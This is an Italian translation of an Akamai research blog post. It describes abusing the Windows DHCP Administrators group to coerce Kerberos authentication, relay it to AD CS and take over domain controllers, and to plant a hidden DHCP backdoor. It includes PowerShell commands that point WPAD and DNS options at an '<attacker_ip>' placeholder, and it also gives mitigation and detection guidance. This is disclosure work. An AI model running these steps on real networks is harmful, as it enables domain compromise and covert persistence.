Abuso del gruppo di amministratori DHCP per l'escalation dei privilegi nei domini Windows
Editoriale e commenti aggiuntivi di Tricia Howard
Analisi riassuntiva
I ricercatori di Akamai hanno individuato una nuova tecnica di escalation dei privilegi negli ambienti Active Directory (AD) che sfrutta il gruppo di amministratori DHCP.
Quando il ruolo del server DHCP viene installato in un DC (Domain Controller), è possibile ottenere i privilegi di amministratore del dominio.
La tecnica si basa sull'abuso di funzioni legittime e non si affida ad alcuna vulnerabilità, pertanto non esiste una correzione specifica per questo caso.
Oltre a fornire una primitiva escalation dei privilegi, è possibile usare la stessa tecnica per creare un meccanismo di persistenza del dominio nascosto.
Il server DHCP di Microsoft è molto popolare; è stato osservato in funzione nel 40% delle reti monitorate da Akamai. Tutti gli ambienti con questo server possono risultare vulnerabili.
Ecco perché abbiamo pensato di fornire informazioni dettagliate sulle operazioni che possono ridurre notevolmente il rischio causato da questa tecnica, identificare il suo potenziale sfruttamento, nonché un modo per identificare la configurazione su cui si basa.
Introduzione
Da Google Docs ad Active Directory, la gestione degli accessi influisce praticamente su ogni ruolo all'interno di un'organizzazione. Minimizzare le frustrazioni dei dipendenti senza aggiungere rischi inutili è un equilibrio delicato quando si tratta del controllo di accessi e permessi: una brutta situazione di cui i team addetti alla sicurezza sono tristemente consapevoli.
Di conseguenza, il principio di limitare i privilegi amministrativi è un elemento cruciale di qualsiasi strategia degli accessi, che si spiega essenzialmente così: Ad ogni utente vengono concessi i privilegi richiesti per eseguire le loro mansioni, tuttavia, questi privilegi devono essere limitati il più possibile in ogni altro aspetto. In tal modo, è possibile ridurre l'impatto di una violazione su qualsiasi utente, impedendo il movimento laterale ed ulteriori sfruttamenti.
Anche se questa pratica rimuove praticamente tutti i rischi, la gestione degli accessi sulla base delle identità non è realistica né fattibile, specialmente al livello aziendale. Al contrario, i gruppi di accesso degli utenti forniscono permessi generalizzati in base alla mansione lavorativa, un concetto ampiamente visto in AD. Ad esempio, Microsoft fornisce il gruppo degli amministratori DNS, ossia un gruppo AD responsabile della gestione dei server DNS. Seguendo il principio di limitare i privilegi amministrativi, i membri di questo gruppo non hanno i permessi necessari per accedere al computer che ospita il server DNS, ma solo alla configurazione correlata al servizio DNS.
Anche se tutto ciò funziona in teoria, in pratica, è tutta un'altra storia. La ricerca condotta da Shay Ber nel 2017 ha dimostrato come i membri del gruppo degli amministratori DNS potrebbero abusare di uno dei privilegi del gruppo per eseguire codice sui server DNS, il che quasi sempre determina un'escalation dei privilegi ad amministratori di dominio.
Microsoft DHCP fornisce un gruppo di sicurezza simile, ossia quello degli amministratori DHCP. Nella nostra recente ricerca su Microsoft DHCP, ci si è posto il problema di individuare una primitiva simile utilizzando questo gruppo: Un amministratore DHCP può diventare un amministratore di dominio? Ebbene, come è risultato, spesso sicuramente succede.
In questo post del blog, ci concentreremo sul gruppo degli amministratori DHCP e mostreremo come si può abusare di uno dei suoi privilegi per violare i server DHCP, incluso un controllo completo del dominio nei casi in cui il server DHCP sia installato su un DC.
Mostreremo anche come sia possibile usare questa stessa tecnica per stabilire un interessante meccanismo di persistenza del dominio e forniremo le informazioni utili per implementare una "backdoor DHCP".
Poiché questa tecnica utilizza opzioni e privilegi legittimi che sono disponibili per gli amministratori DHCP, non esiste una soluzione semplice come una patch perché non esiste alcuna vulnerabilità. Per aiutare a ridurre i rischi causati da questa tecnica, in questo blog abbiamo incluso informazioni dettagliate sulle operazioni di mitigazione e rilevamento necessarie.
Chi sono gli amministratori DHCP?
Il gruppo degli amministratori DHCP è un gruppo di utenti AD che sono responsabili della gestione dei server DHCP (Dynamic Host Configuration Protocol). Questo gruppo consente ai propri membri di effettuare query e modificare la configurazione del servizio DHCP sui server remoti.
L'aspetto più importante è che i membri di questo gruppo non hanno permessi sul server DHCP, ma solo sulla configurazione del servizio DHCP. Pertanto, un amministratore DHCP non sarà in grado di eseguire codice su un server DHCP, ma solo modificare le configurazioni relative al servizio DHCP. Una delle configurazioni controllate dagli amministratori DHCP è rappresentata dalle opzioni DHCP.
Abuso delle opzioni DHCP
I client di rete richiedono una serie di configurazioni per far parte di una rete, tra cui un indirizzo IP e una subnet mask, un indirizzo gateway predefinito e un server DNS , solo per citarne alcune. I server DHCP comunicano queste configurazioni ai loro client sotto forma di opzioni DHCP: diverse configurazioni vengono accoppiate con un ID opzione definito e vengono richieste dai client (Figura 1).
Figura 1. Esempi di opzioni DHCP configurate su un server DHCP
I client DHCP richiedono le opzioni desiderate e modificano la loro configurazione di rete in base alle risposte fornite. Con la possibilità di controllare i valori di queste opzioni sul server, ogni opzione richiesta da un client potrebbe potenzialmente essere sfruttata da un criminale per "iniettare" una configurazione dannosa..
Per comprendere la potenziale superficie di attacco sui client Windows, possiamo esaminare le opzioni richieste per impostazione predefinita (Figura 2).
Figura 2. Opzioni DHCP configurate su un server DHCP
Autorilevamento del proxy
Possiamo notare che una delle configurazioni richieste è rappresentata dall'opzione diautorilevamento del proxy(evidenziata in blu nella Figura 2), che viene usata per configurare automaticamente un proxy web (WPAD). Questa opzione consente ad un server DHCP di specificare l'URL di un file "wpad.dat", che contiene le impostazioni del proxy utilizzate dal client.
Possiamo configurare questa opzione e specificare il nostro indirizzo come proxy eseguendo i comandi PowerShell riportati di seguito:
Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0
Una volta impostata questa opzione, notiamo che i client Windows ricevono la nostra configurazione al momento di prendere a noleggio un indirizzo dal server DHCP (Figura 3).
Figura 3. Client DHCP che riceve la configurazione del proxy dal server
Dopo aver ricevuto questa configurazione, il client DHCP si connette al nostro sistema tramite HTTP e tenta di recuperare il file "wpad.dat" (Figura 4).
Figura 4. Client DHCP che richiede un file "wpad.dat" dal computer del criminale
La capacità di impersonare un server WPAD apre la porta a vari attacchi che possono consentire la violazione delle credenziali del client.
Esistono altre opzioni DHCP su cui possiamo concentrarci per conseguire un risultato simile. Questa capacità è certamente intrinseca e non rappresenta un problema di sicurezza. Gli amministratori DHCP possono sicuramente amministrare il protocollo DHCP. Tuttavia, l'impatto di questa capacità può risultare più ampio del previsto.
Opzione del server DHCP DNS
Durante l'analisi delle varie opzioni DHCP che è possibile sfruttare, un'altra opzione ha colto la nostra attenzione, l'opzione del server DNS . In modo simile all'attacco precedente, un amministratore DHCP può eseguire lo spoofing dell'indirizzo IP del server DNS e lo spoofing delle risposte DNS per conseguire una posizione MITM (Machine-Tn-The-Middle). Tuttavia, come è risultato, questa opzione presenta altri vantaggi.
Di solito, le opzioni DHCP vengono utilizzate per distribuire i dati ai client che li richiedono. Un aspetto interessante è che l'opzione del server DNS svolge un altro scopo, ossia il suo valore viene usato come destinazione degli aggiornamenti dinamici DHCP DNS (figura 5).
Figura 5. Opzione del server DNS che influisce sul processo degli aggiornamenti dinamici DHCP DNS
Perché è interessante? Il server Microsoft DNS e i client Windows DNS supportano una funzione denominata aggiornamenti dinamici sicuri. Con questa funzione abilitata (per impostazione predefinita), ai client DNS viene richiesto di autenticarsi prima di eseguire gli aggiornamenti DNS sul server. Questa autenticazione viene eseguita utilizzando Kerberos tramite DNS.
Con un account amministratore DHCP, possiamo controllare l'opzione del server DNS sul server DHCP e farlo autenticare su un indirizzo di nostra scelta. Nella Figura 6, vengono mostrati i passaggi necessari per effettuare questa operazione.
Figura 6. Lease DHCP che forza l'autenticazione del server sul client tramite Kerberos
Sul server DHCP di destinazione, configuriamo il nostro indirizzo IP 172.25.14.19) come l'opzione del server DNS.
Dal nostro sistema, prendiamo a noleggio un indirizzo IP specificando, al contempo, l'opzione FQDN. In questo esempio, specifichiamo l'opzione FQDN "aaa.aka.test", che attiva un aggiornamento dinamico DHCP DNS.
Il server DHCP invia una query DNS SOA (Start of Authority) al nostro sistema (supponendo che si tratti del server DNS). Questa query viene usata dal server DHCP per controllare quale server DNS è autoritativo tramite "aaa.aka.test".
Rispondiamo alla query SOA specificando il nostro sistema come il server DNS autoritativo per il record "aaa.aka.test".
Il server DHCP tenta di creare il record inviando un aggiornamento dinamico DNS al nostro sistema. Questo tentativo di aggiornamento non è autenticato, quindi
lo rifiutiamo per attivare un tentativo di autenticazione mediante il server.
Il server DHCP si autentica sul nostro sistema mediante l'autenticazione Kerberos tramite DNS, implementato con l'invio di una query TKEY.
La Figura 7 mostra un esempio di questa tecnica in azione.
Figura 7. Acquisizione di pacchetti del lease DHCP e successivo traffico DNS
Questa tecnica, da noi denominata DHCP Coerce, ci concede una primitiva coercizione dell'autenticazione Kerberos poiché possiamo far autenticare qualsiasi server DHCP sul nostro sistema.
Avete domande sulla sicurezza del server DHCP?
DHCP Coerce per gli attacchi di inoltro Kerberos
DHCP Coerce offre un'opportunità per sferrare un attacco di inoltro Kerberos , ossia possiamo forzare l'autenticazione sul nostro sistema, quindi sferrare un attacco di inoltro, che ci consente di impersonare l'account del server DHCP. In tal modo, possiamo ottenere il pieno controllo sul server invece dei permessi più limitati che sono inclusi nel gruppo di amministratori DHCP.
Gli obiettivi degli attacchi di inoltro Kerberos sono alquanto limitati, ma comunque abbiamo un'ottima opzione, come descritto da Dirk Jan nel suo blog: è possibile usare gli attacchi di inoltro Kerberos per prendere di mira i servizi Active Directory Certificate Services (AD CS).
I servizi AD CS forniscono una soluzione PKI per gli ambienti Active Directory. Nel contesto di AD, l'uso principale della soluzione PKI è consentire l'autenticazione basata su certificati: con AD CS, gli utenti possono emettere i certificati per se stessi e utilizzarli per l'autenticazione sulle risorse nel dominio.
Uno dei modi con cui vengono emessi i certificati è tramite il servizio di registrazione web , che consente ai client di richiedere i certificati. Per impostazione predefinita, questo servizio è vulnerabile agli attacchi di inoltro Kerberos poiché non verifica l'integrità dei messaggi. Questo problema è stato descritto come l'exploit ESC8 nella ricerca su AD CS condotta da Will Schroeder e Lee Christensen di SpecterOps.
Combinando la nostra primitiva autenticazione forzata con ESC8, possiamo creare una catena di attacchi (Figura 8) che ci consente di violare il server DHCP.
Figura 8. Catena di attacchi DHCP Coerce completa
L'utilizzo dell'amministratore DHCP consente di forzare l'autenticazione Kerberos sul nostro sistema come descritto nella sezione precedente.
Il dominio Krbrelayx.py consente di forzare l'autenticazione su AD CS e ottenere un certificato per l'account del server DHCP.
Questo certificato consente di ottenere l'hash NTLM dell'account del server DHCP con una tecnica descritta nella ricerca di SpecterOps come THEFT5.
L'hash NTLM consente di effettuare l'autenticazione come account del server DHCP e di eseguire codice.
Per un approfondimento dei passaggi 2 - 4, potete consultare il blog di Dirk Jan sugli attacchi di inoltro Kerberos tramite DNS con krbrelayx e mitm6 .
Per riassumere, se nell'ambiente si usa AD CS, un account amministratore DHCP può eseguire codice su qualsiasi server DHCP. Proprio così.
I server DHCP, molto spesso, vengono installati sui DC: il 57% delle reti che abbiamo osservato ha installato il server DHCP di Microsoft su un DC. In questi casi, un amministratore DHCP può violare l'intero dominio assumendo il controllo dell'account del sistema DC.
Nota sulle credenziali DNS
L'attacco appena descritto si basa sul server DHCP che si autentica con il suo account di sistema durante l'esecuzione degli aggiornamenti DNS. Una delle best practice consigliate da Microsoft consiste nel configurare un utente debole come credenziale DNS per il server DHCP, una credenziale alternativa da usare invece dell'account di sistema durante l'esecuzione degli aggiornamenti.
Questa configurazione potrebbe rendere nullo il nostro attacco di inoltro. Invece di violare l'account di sistema del server, possiamo ottenere i permessi di un utente debole.
Per nostra fortuna, siamo gli amministratori DHCP! Un amministratore DHCP può rimuovere una credenziale DNS esistente senza conoscerla. È possibile usare il comando Remove-DhcpServerDnsCredential PowerShell per effettuare questa operazione. Dopo aver rimosso la credenziale DNS, il server DHCP ripristina i valori predefiniti e utilizza il suo account di sistema per eseguire gli aggiornamenti.
Persistenza del dominio DHCP
Oltre ad abusare del gruppo di amministratori DHCP per eseguire codice sui server DHCP, è possibile utilizzare la tecnica appena descritta per creare un interessante meccanismo di persistenza del dominio.
Una volta configurata l'opzione del server DNS, non sono richieste credenziali per forzare l'autenticazione: un criminale ha solo bisogno di prendere a noleggio un indirizzo IP dal server DHCP e così sferrare un attacco di coercizione DHCP dall'esterno del dominio senza alcuna credenziale.
Ambito della backdoor DHCP
Per ambito DHCP si intende una serie definita di indirizzi IP in una specifica sottorete che il DHCP può concedere in noleggio. È possibile configurare le opzioni DHCP in base all'ambito in modo diverso per le varie sottoreti.
Per sferrare un attacco di coercizione DHCP, dobbiamo cambiare l'opzione del server DNS in uno degli ambiti DHCP. Ovviamente, non vogliamo utilizzare a tale scopo un ambito esistente: se modifichiamo l'opzione del server DNS di un ambito esistente, questa configurazione verrebbe trasmessa ai client DHCP, causando problemi di comunicazione e portando al potenziale rilevamento della nostra backdoor.
Invece, vogliamo creare un ambito dedicato, con un intervallo di indirizzi che non è utilizzato in alcuna sottorete all'interno della rete (Figura 9).
Figura 9. Creazione di un ambito DHCP "backdoor"
Tuttavia, questo approccio presenta un problema che è radicato nella logica di selezione dell'ambito del server DHCP. Quando un client prende a noleggio un indirizzo IP, il server stabilisce l'ambito DHCP da usare in base alla sottorete di origine del client. La sottorete è identificata dall'interfaccia di rete che ha ricevuto il messaggio DHCP Discover (Figura 10).
Figura 10. Selezione dell'ambito DHCP basata sull'interfaccia di rete
Per attivare la backdoor, dobbiamo prendere a noleggio un indirizzo IP dal nostro ambito dannoso. Per eseguire questa operazione, dobbiamo essere presenti in una sottorete collegata a questo ambito. Allo stesso tempo, non vogliamo che il nostro ambito sia collegato ad una sottorete esistente nella rete per evitare di interrompere la connettività del client. Questi due requisiti, tuttavia, si contraddicono l'uno con l'altro: se un ambito non è collegato ad una sottorete esistente, non possiamo raggiungerlo. Viceversa, potranno raggiungerlo anche altri client. Fortunatamente, viene in aiuto un agente di inoltro DHCP.
Agente di inoltro DHCP
Una soluzione a questo problema viene fornita dalla funzione dell'agente di inoltro DHCP. Un agente di inoltro DHCP è un server progettato per consentire ai client di prendere a noleggio gli indirizzi IP da un server DHCP, anche se non presenti nella loro rete locale (Figura 11).
Figura 11. Processo di lease DHCP con un agente di inoltro
L'agente di inoltro ascolta i messaggi di broadcast DHCP provenienti dai client e li inoltra al server DHCP per conto dei client. L'agente di inoltro DHCP informa il server DHCP circa la sottorete di origine del client tramite l'opzione DHCP di informazione sull'agente di inoltro , che consente al server di stabilire l'ambito corretto da utilizzare durante il noleggio di un indirizzo IP.
Abbiamo notato che questa funzione consente ad un agente di inoltro DHCP di richiedere un indirizzo IP da qualsiasi ambito, indipendentemente dall'interfaccia sul server DHCP. Un criminale può fungere da agente di inoltro e indicare qualsiasi sottorete nell'opzione di informazione sull'agente di inoltro allo scopo di prendere a noleggio un indirizzo IP da qualsiasi ambito (Figura 12).
Figura 12. Lease di un indirizzo IP da un ambito specificato fungendo da agente di inoltro DHCP
Infine, dobbiamo considerare un'ultima precisazione: l'indirizzo IP del server di inoltro deve far parte di un ambito esistente sul server allo scopo di impedire ai client non autorizzati di accedere al server. Per superare questo problema, possiamo seguire le indicazioni di Microsoft e creare un ambito dedicato che include il nostro indirizzo IP esterno, "autorizzandolo" in modo illegittimo per farlo fungere da agente di inoltro.
Abuso dell'opzione dell'agente di inoltro DHCP
Una backdoor potenziale (Figura 13) è costituita da 2 ambiti:
Ambito di autorizzazione. Un ambito concepito per autorizzare il nostro sistema di attacco per farlo fungere da agente di inoltro DHCP. Il suo intervallo di indirizzi IP deve includere l'indirizzo IP del nostro sistema di attacco esterno.
- Ambito di coercizione. Un ambito utilizzato per prendere a noleggio un indirizzo IP, che attiva un tentativo di autenticazione Kerberos sul nostro sistema di attacco. La sua opzione del server DNS verrà configurato con l'IP del nostro sistema di attacco esterno e il suo intervallo di indirizzi IP può essere qualsiasi intervallo arbitrario non utilizzato nella rete.
Figura 13. Progettazione della backdoor DHCP
Il seguente codice PowerShell mostra come creare questi ambiti:
Import-Module DhcpServer
Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>
Per attivare la backdoor, prendiamo a noleggio un indirizzo dal server DHCP apportando le seguenti modifiche:
Usiamo il nostro indirizzo IP che si trova nel campo DHCP dell'indirizzo IP dell'agente di inoltro (giaddr). Questo campo viene utilizzato per informare il server DHCP circa l'indirizzo IP dell'agente di inoltro. L'IP è richiesto per trovarsi all'interno dell'ambito di autorizzazione.
Includiamo l'opzione di informazione sull'agente di inoltro con un indirizzo IP che si trova all'interno dell'ambito di coercizione.
Nella Figura 14, il nostro ambito di autorizzazione include l'indirizzo IP 172.25.14.18, mentre il nostro indirizzo di coercizione include l'indirizzo 66.66.66.66.
Figura 14. Modifiche del messaggio DHCP Discover quando funge da agente di inoltro
Abbiamo aggiunto il supporto dell'agente di inoltro al DDSpoof, il nostro strumento di spoofing DNS DHCPe abbiamo creato uno script POC (Proof-of-Concept) denominato dhcp_coerce.py , che consente di sferrare questo attacco. Lo script agisce come agente di inoltro DHCP e richiede un indirizzo IP al nostro ambito, consentendoci di attivare la coercizione dell'autenticazione tramite il nostro ambito di coercizione (Figura 15).
Figura 15. Utilizzo di DDSpoof per attivare la backdoor DHCP
Soluzioni di mitigazione
Tra le misure difensive per questa minaccia, figurano le seguenti:
Identificazione della configurazione DHCP rischiosa
Mitigazione degli attacchi di inoltro contro i server AD CS
Gestione del gruppo di amministratori DHCP
Utilizzo della segmentazione per ridurre la superficie di attacco
Identificazione delle anomalie del DNS
Identificazione della configurazione DHCP rischiosa
Il comando Invoke-DHCPCheckup.ps1 può aiutarvi ad identificare la configurazione DHCP rischiosa. Il rischio maggiore nel caso di una catena di attacchi di coercizione DHCP è l'installazione di un server DHCP su un DC, una configurazione che consigliamo di evitare.
Eseguite il comando Invoke-DHCPCheckup per elencare tutti i server DHCP di Microsoft attivi e per identificare quelli eventualmente installati sui DC (Figura 16). Se possibile, disattivate il servizio del server DHCP su tutti i DC.
Figura 16. Identificazione di un DHCP installato su un DC tramite il comando Invoke-DHCPCheckup
Mitigazione degli attacchi di inoltro contro i server AD CS
Il modo più efficace per prevenire questa catena di attacchi è mitigare gli attacchi di inoltro contro i server AD CS, che contrastano la capacità di violare la primitiva coercizione dell'autenticazione.
Il rischio di subire attacchi di inoltro e le relative variazioni per i server AD CS non è nuovo ed è noto a Microsoft. La funzione EPA (Extended Protection for Authentication) è stata introdotta per prevenire questo tipo di attacchi, ma non è attivata per impostazione predefinita sui server AD CS. Per mitigare il rischio di attacchi di inoltro contro i server AD CS, disattivate il protocollo HTTP e attivate la funzione EPA su tutti i server AD CS.
Gestione del gruppo di amministratori DHCP
I membri del gruppo di amministratori DHCP possono potenzialmente violare client e server DHCP, pertanto questo gruppo va trattato come una risorsa preziosa e monitorato di conseguenza. Limitate il più possibile il numero di membri del gruppo di amministratori DHCP per ridurre il rischio di violazione di un amministratore. Considerate la possibilità di usare il gruppo di utenti DHCP più limitato nei casi consentiti.
Utilizzo della segmentazione per ridurre la superficie di attacco
Oltre alle misure difensive descritte in precedenza, è possibile usare la segmentazione di rete per mitigare l'attacco e ridurre la superficie di attacco, potenzialmente prevenendo attacchi simili.
Tramite la soluzione Akamai Guardicore Segmentation, gli addetti alla sicurezza possono:
Bloccare il traffico RPC diretto ai server DHCP da endpoint che non hanno privilegi amministrativi, impedendo di modificare le opzioni DHCP: create un'etichetta contenente gli endpoint utilizzati dagli amministratori DHCP, quindi consentite solo a questa etichetta di comunicare con i server DHCP tramite le porte non DHCP.
Bloccare l'accesso ai server di registrazione AD CS per gli endpoint che non lo richiedono per ridurre la possibilità di sferrare attacchi di inoltro: create un'etichetta contenente gli endpoint che richiedono l'emissione di certificati tramite AD CS, quindi consentite solo a questa etichetta di comunicare con i server di registrazione web.
Bloccare il traffico DHCP diretto e proveniente da Internet, impedendo ai sistemi esterni di forzare l'autenticazione DHCP: create un'etichetta per tutti i server DHCP, quindi bloccate tutte le comunicazioni con gli indirizzi Internet.
Identificazione delle anomalie del DNS
L'attacco forza il server DHCP ad inviare una richiesta di aggiornamento del DNS ad un indirizzo diverso da quello del server AD DNS standard. Questo tipo di traffico, di solito, è statico per natura, pertanto questo comportamento risulta estremamente anomalo. Questo comportamento anomalo del traffico può rappresentare un'opportunità di rilevamento per questo attacco o per qualsiasi altro attacco che sfrutta l'autenticazione Kerberos tramite DNS.
Per identificare tali anomali, create un elenco di server DNS legittimi che dovrebbero ricevere gli aggiornamenti del DNS, sia inviando query al sistema AD che monitorando il traffico DNS. Questo elenco deve essere alquanto ridotto e va usato come riferimento per il traffico legittimo. Eventuali deviazioni da questo elenco vanno esaminate, specialmente se riguardano indirizzi Internet.
Akamai Hunt, il servizio gestito di ricerca delle minacce di Akamai, offre ai suoi clienti la massima protezione grazie ad un'ampia gamma di tecniche di rilevamento delle anomalie, che monitorano costantemente l'ambiente nel tentativo di rilevare comportamenti insoliti.
Conclusione
L'escalation dei privilegi dannosi può risultare devastante, specialmente quando si tratta di processi legittimi. Raggiungere un equilibrio tra rigorosi controlli di sicurezza e il minimo problema per gli utenti rappresenta un importante dilemma per i moderni professionisti della sicurezza. Con l'introduzione dell'IoT (Internet of Things), una forza lavoro sempre più mobile e il costante aumento nello sfruttamento di vulnerabilità vecchie e nuove, non è mai stato così importante come ora riuscire a gestire la strategia degli accessi.
Il gruppo di amministratori DHCP è un illuminante esempio di questo concetto poiché fornisce ai suoi membri una serie di permessi, che, tuttavia, possono essere sfruttati dai criminali. Specialmente nel campo della sicurezza, è possibile sfruttare anche le funzioni più innocue.
Gli addetti alla sicurezza devono essere consapevoli di questo rischio potenziale e considerare questo gruppo con la dovuta cautela. Speriamo che questo post abbiamo fornito appropriate informazioni sul contesto e le misure con cui difendersi da questa minaccia.
Ulteriori informazioni
Per ulteriori informazioni sui rischi correlati ai server DHCP di Microsoft, potete consultare gli altri blog sull'argomento:
Spoofing dei record DNS tramite l'abuso degli aggiornamenti dinamici DHCP DNS
Utilizzo dello spoofing DHCP DNS - Guida pratica
L'Akamai Security Intelligence Group continuerà a monitorare questa minaccia e altre minacce simili e pubblicherà i risultati delle sue ricerche. Per tenervi aggiornati sugli aggiornamenti DHCP e su altre ricerche sulla sicurezza, seguiteci su X (in precedenza Twitter).